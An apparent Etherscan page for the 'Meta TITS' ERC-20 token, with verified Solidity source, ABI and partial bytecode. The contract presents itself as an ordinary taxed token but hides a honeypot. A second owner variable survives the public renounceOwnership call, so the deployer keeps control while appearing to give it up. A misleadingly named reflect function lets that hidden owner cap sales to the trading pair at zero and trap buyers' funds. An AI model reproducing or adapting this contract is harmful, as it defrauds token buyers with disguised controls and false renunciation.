ETH Price: $3,466.26 (-1.75%)
Gas: 3 Gwei

Token

Meta TITS (METATITS)
 

Overview

Max Total Supply

8,000,000,000 METATITS

Holders

37

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Balance
11,117,690 METATITS

Value
$0.00
0x9372fd585e532be0a62836adebbdb587f3d7517d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MetaTITS

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Apache-2.0 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-30
*/

// SPDX-License-Identifier: Apache-2.0
// Telegram: https://t.me/MetaTITS
pragma solidity ^0.8.4;


uint256 constant TOTAL_SUPPLY = 8000000000;
string constant TOKEN_NAME = "Meta TITS";
string constant TOKEN_SYMBOL = "METATITS";
uint256 constant INITIAL_TAX=7;

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}
}



interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MetaTITS is Context, IERC20 {
	using SafeMath for uint256;
	mapping(address => uint256) private _rOwned;
	mapping(address => mapping(address => uint256)) private _allowances;

	uint256 private constant MAX = ~uint256(0);
	uint256 private _tTotal = TOTAL_SUPPLY;
	uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint256 private _tFeeTotal;
	uint256 private _rateLimit=TOTAL_SUPPLY;
	uint256 private _tax=INITIAL_TAX;
	address payable private _taxWallet;

	string private constant _name = TOKEN_NAME;
	string private constant _symbol = TOKEN_SYMBOL;
	uint8 private constant _decimals = 0;

	IUniswapV2Router02 private _router= IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
	address private _pair;
	bool private tradingOpen;
	bool private inSwap = false;
	bool private swapEnabled = false;
	address private _owner;

	modifier lockTheSwap {
		inSwap = true;
		_;
		inSwap = false;
	}
	constructor () {
		_rOwned[_owner_=_msgSender()] = _rTotal;
		_taxWallet=payable(_owner = _msgSender());

		emit OwnershipTransferred(address(0), _msgSender());
		emit Transfer(address(0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return tokenFromReflection(_rOwned[account]);
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function tax() public view returns (uint256){
		return _tax;
	}

	function allowance(address from, address spender) public view override returns (uint256) {
		return _allowances[from][spender];
	}


	address private _owner_;
	event OwnershipTransferred(address indexed oldie, address indexed newbie);

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner_== _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner=address(0);
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
		require(rAmount <= _rTotal, "Amount must be less than total reflections");
		uint256 currentRate = _getRate();
		return rAmount.div(currentRate);
	}

	function _approve(address from, address spender, uint256 amount) private {
		require(from != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[from][spender] = amount;
		emit Approval(from, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		require(((to == _pair && from != address(_router) )?1:0)*amount <= _rateLimit);

		if (from != owner() && to != owner()) {
			if (!inSwap && from != _pair && swapEnabled) {
				_swapTokensForEth(balanceOf(address(this)));
				uint256 contractETHBalance = address(this).balance;
				if (contractETHBalance > 0) {
					_sendETHToFee(address(this).balance);
				}
			}
		}
		_tokenTransfer(from, to, amount);
	}

	function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _router.WETH();
		_approve(address(this), address(_router), tokenAmount);
		_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
	}

	function _sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

	function openTrading() external onlyOwner() {
		require(!tradingOpen, "Trading is already open");
		_approve(address(this), address(_router), _tTotal);
		_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
		_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);

		swapEnabled = true;
		tradingOpen = true;
		IERC20(_pair).approve(address(_router), type(uint).max);
	}

	function _tokenTransfer(address sender, address recipient, uint256 amount) private {
		_transferStandard(sender, recipient, amount);
	}


	function _transferStandard(address sender, address recipient, uint256 tAmount) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeTeam(tTeam);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function _takeTeam(uint256 tTeam) private {
		uint256 currentRate = _getRate();
		uint256 rTeam = tTeam.mul(currentRate);
		_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
	}

	function _reflectFee(uint256 rFee, uint256 tFee) private {
		_rTotal = _rTotal.sub(rFee);
		_tFeeTotal = _tFeeTotal.add(tFee);
	}

	function reflect(uint256 m) onlyOwner public{
		_rateLimit=m;
	}

	receive() external payable {}

	function manualSwap() external {
		require(_msgSender() == _taxWallet);
		uint256 contractBalance = balanceOf(address(this));
		_swapTokensForEth(contractBalance);
	}

	function manualSend() external {
		require(_msgSender() == _taxWallet);
		uint256 contractETHBalance = address(this).balance;
		_sendETHToFee(contractETHBalance);
	}

	function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
		(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTransferAmounts(tAmount, _tax);
		uint256 currentRate = _getRate();
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getReceiveAmounts(tAmount, tFee, tTeam, currentRate);
		return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
	}

	function _getTransferAmounts(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
		uint256 tFee = tAmount.mul(2).div(100);
		uint256 tTeam = tAmount.mul(taxFee).div(100);
		uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
		return (tTransferAmount, tFee, tTeam);
	}

	function _getReceiveAmounts(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
		uint256 rAmount = tAmount.mul(currentRate);
		uint256 rFee = tFee.mul(currentRate);
		uint256 rTeam = tTeam.mul(currentRate);
		uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
		return (rAmount, rTransferAmount, rFee);
	}

	function _getRate() private view returns (uint256) {
		(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
		return rSupply.div(tSupply);
	}

	function _getCurrentSupply() private view returns (uint256, uint256) {
		uint256 rSupply = _rTotal;
		uint256 tSupply = _tTotal;
		if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
		return (rSupply, tSupply);
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldie","type":"address"},{"indexed":true,"internalType":"address","name":"newbie","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"m","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526401dcd650006002556002546000196200001f919062000324565b6000196200002e91906200038b565b6003556401dcd650006005556007600655737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960156101000a81548160ff0219169083151502179055506000600960166101000a81548160ff021916908315150217905550348015620000d757600080fd5b50600354600080620000ee620002e360201b60201c565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200017b620002e360201b60201c565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200020a620002e360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a362000274620002e360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600254604051620002d59190620003d7565b60405180910390a3620003f4565b600033905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200033182620002eb565b91506200033e83620002eb565b925082620003515762000350620002f5565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200039882620002eb565b9150620003a583620002eb565b925082821015620003bb57620003ba6200035c565b5b828203905092915050565b620003d181620002eb565b82525050565b6000602082019050620003ee6000830184620003c6565b92915050565b612b8c80620004046000396000f3fe6080604052600436106100f75760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb14610313578063c9567bf914610350578063dd62ed3e14610367578063f4293890146103a4576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd57806399c8d556146102e8576100fe565b806323b872dd116100c657806323b872dd146101bf578063313ce567146101fc57806351bc3c851461022757806370a082311461023e576100fe565b8063053ab1821461010357806306fdde031461012c578063095ea7b31461015757806318160ddd14610194576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b5061012a60048036038101906101259190611e01565b6103bb565b005b34801561013857600080fd5b5061014161045c565b60405161014e9190611ec7565b60405180910390f35b34801561016357600080fd5b5061017e60048036038101906101799190611f47565b610499565b60405161018b9190611fa2565b60405180910390f35b3480156101a057600080fd5b506101a96104b7565b6040516101b69190611fcc565b60405180910390f35b3480156101cb57600080fd5b506101e660048036038101906101e19190611fe7565b6104c1565b6040516101f39190611fa2565b60405180910390f35b34801561020857600080fd5b5061021161059a565b60405161021e9190612056565b60405180910390f35b34801561023357600080fd5b5061023c61059f565b005b34801561024a57600080fd5b5061026560048036038101906102609190612071565b610619565b6040516102729190611fcc565b60405180910390f35b34801561028757600080fd5b50610290610669565b005b34801561029e57600080fd5b506102a76107c1565b6040516102b491906120ad565b60405180910390f35b3480156102c957600080fd5b506102d26107eb565b6040516102df9190611ec7565b60405180910390f35b3480156102f457600080fd5b506102fd610828565b60405161030a9190611fcc565b60405180910390f35b34801561031f57600080fd5b5061033a60048036038101906103359190611f47565b610832565b6040516103479190611fa2565b60405180910390f35b34801561035c57600080fd5b50610365610850565b005b34801561037357600080fd5b5061038e600480360381019061038991906120c8565b610d66565b60405161039b9190611fcc565b60405180910390f35b3480156103b057600080fd5b506103b9610ded565b005b6103c3610e5f565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044990612154565b60405180910390fd5b8060058190555050565b60606040518060400160405280600981526020017f4d65746120544954530000000000000000000000000000000000000000000000815250905090565b60006104ad6104a6610e5f565b8484610e67565b6001905092915050565b6000600254905090565b60006104ce848484611032565b61058f846104da610e5f565b61058a85604051806060016040528060288152602001612b2f60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610540610e5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113699092919063ffffffff16565b610e67565b600190509392505050565b600090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105e0610e5f565b73ffffffffffffffffffffffffffffffffffffffff161461060057600080fd5b600061060b30610619565b9050610616816113cd565b50565b60006106626000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611655565b9050919050565b610671610e5f565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f790612154565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d45544154495453000000000000000000000000000000000000000000000000815250905090565b6000600654905090565b600061084661083f610e5f565b8484611032565b6001905092915050565b610858610e5f565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108de90612154565b60405180910390fd5b600960149054906101000a900460ff1615610937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092e906121c0565b60405180910390fd5b61096630600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600254610e67565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109ce57600080fd5b505afa1580156109e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0691906121f5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac291906121f5565b6040518363ffffffff1660e01b8152600401610adf929190612222565b602060405180830381600087803b158015610af957600080fd5b505af1158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3191906121f5565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610bba30610619565b600080610bc56107c1565b426040518863ffffffff1660e01b8152600401610be796959493929190612290565b6060604051808303818588803b158015610c0057600080fd5b505af1158015610c14573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c399190612306565b5050506001600960166101000a81548160ff0219169083151502179055506001600960146101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d11929190612359565b602060405180830381600087803b158015610d2b57600080fd5b505af1158015610d3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6391906123ae565b50565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e2e610e5f565b73ffffffffffffffffffffffffffffffffffffffff1614610e4e57600080fd5b6000479050610e5c816116c3565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ece9061244d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e906124df565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110259190611fcc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109990612571565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110990612603565b60405180910390fd5b60008111611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c90612695565b60405180910390fd5b60055481600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112045750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b61120f576000611212565b60015b60ff1661121f91906126e4565b111561122a57600080fd5b6112326107c1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112a057506112706107c1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561135957600960159054906101000a900460ff161580156113105750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113285750600960169054906101000a900460ff165b156113585761133e61133930610619565b6113cd565b6000479050600081111561135657611355476116c3565b5b505b5b61136483838361172f565b505050565b60008383111582906113b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a89190611ec7565b60405180910390fd5b50600083856113c0919061273e565b9050809150509392505050565b6001600960156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561140557611404612772565b5b6040519080825280602002602001820160405280156114335781602001602082028036833780820191505090505b509050308160008151811061144b5761144a6127a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156114ed57600080fd5b505afa158015611501573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152591906121f5565b81600181518110611539576115386127a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506115a030600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e67565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161160495949392919061288e565b600060405180830381600087803b15801561161e57600080fd5b505af1158015611632573d6000803e3d6000fd5b50505050506000600960156101000a81548160ff02191690831515021790555050565b600060035482111561169c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116939061295a565b60405180910390fd5b60006116a661173f565b90506116bb818461176a90919063ffffffff16565b915050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561172b573d6000803e3d6000fd5b5050565b61173a8383836117b4565b505050565b600080600061174c61197b565b91509150611763818361176a90919063ffffffff16565b9250505090565b60006117ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119c8565b905092915050565b6000806000806000806117c687611a2b565b955095509550955095509550611823866000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9090919063ffffffff16565b6000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b6856000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ada90919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061190181611b38565b61190b8483611bf3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119689190611fcc565b60405180910390a3505050505050505050565b60008060006003549050600060025490506119a360025460035461176a90919063ffffffff16565b8210156119bb576003546002549350935050506119c4565b81819350935050505b9091565b60008083118290611a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a069190611ec7565b60405180910390fd5b5060008385611a1e91906129a9565b9050809150509392505050565b6000806000806000806000806000611a458a600654611c2d565b9250925092506000611a5561173f565b90506000806000611a688e878787611cc2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ad283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611369565b905092915050565b6000808284611ae991906129da565b905083811015611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612a7c565b60405180910390fd5b8091505092915050565b6000611b4261173f565b90506000611b598284611d4b90919063ffffffff16565b9050611bac816000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ada90919063ffffffff16565b6000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c0882600354611a9090919063ffffffff16565b600381905550611c2381600454611ada90919063ffffffff16565b6004819055505050565b600080600080611c5a6064611c4c600289611d4b90919063ffffffff16565b61176a90919063ffffffff16565b90506000611c846064611c76888a611d4b90919063ffffffff16565b61176a90919063ffffffff16565b90506000611cad82611c9f858b611a9090919063ffffffff16565b611a9090919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611cdb8589611d4b90919063ffffffff16565b90506000611cf28689611d4b90919063ffffffff16565b90506000611d098789611d4b90919063ffffffff16565b90506000611d3282611d248587611a9090919063ffffffff16565b611a9090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d5e5760009050611dc0565b60008284611d6c91906126e4565b9050828482611d7b91906129a9565b14611dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db290612b0e565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b611dde81611dcb565b8114611de957600080fd5b50565b600081359050611dfb81611dd5565b92915050565b600060208284031215611e1757611e16611dc6565b5b6000611e2584828501611dec565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e68578082015181840152602081019050611e4d565b83811115611e77576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9982611e2e565b611ea38185611e39565b9350611eb3818560208601611e4a565b611ebc81611e7d565b840191505092915050565b60006020820190508181036000830152611ee18184611e8e565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f1482611ee9565b9050919050565b611f2481611f09565b8114611f2f57600080fd5b50565b600081359050611f4181611f1b565b92915050565b60008060408385031215611f5e57611f5d611dc6565b5b6000611f6c85828601611f32565b9250506020611f7d85828601611dec565b9150509250929050565b60008115159050919050565b611f9c81611f87565b82525050565b6000602082019050611fb76000830184611f93565b92915050565b611fc681611dcb565b82525050565b6000602082019050611fe16000830184611fbd565b92915050565b60008060006060848603121561200057611fff611dc6565b5b600061200e86828701611f32565b935050602061201f86828701611f32565b925050604061203086828701611dec565b9150509250925092565b600060ff82169050919050565b6120508161203a565b82525050565b600060208201905061206b6000830184612047565b92915050565b60006020828403121561208757612086611dc6565b5b600061209584828501611f32565b91505092915050565b61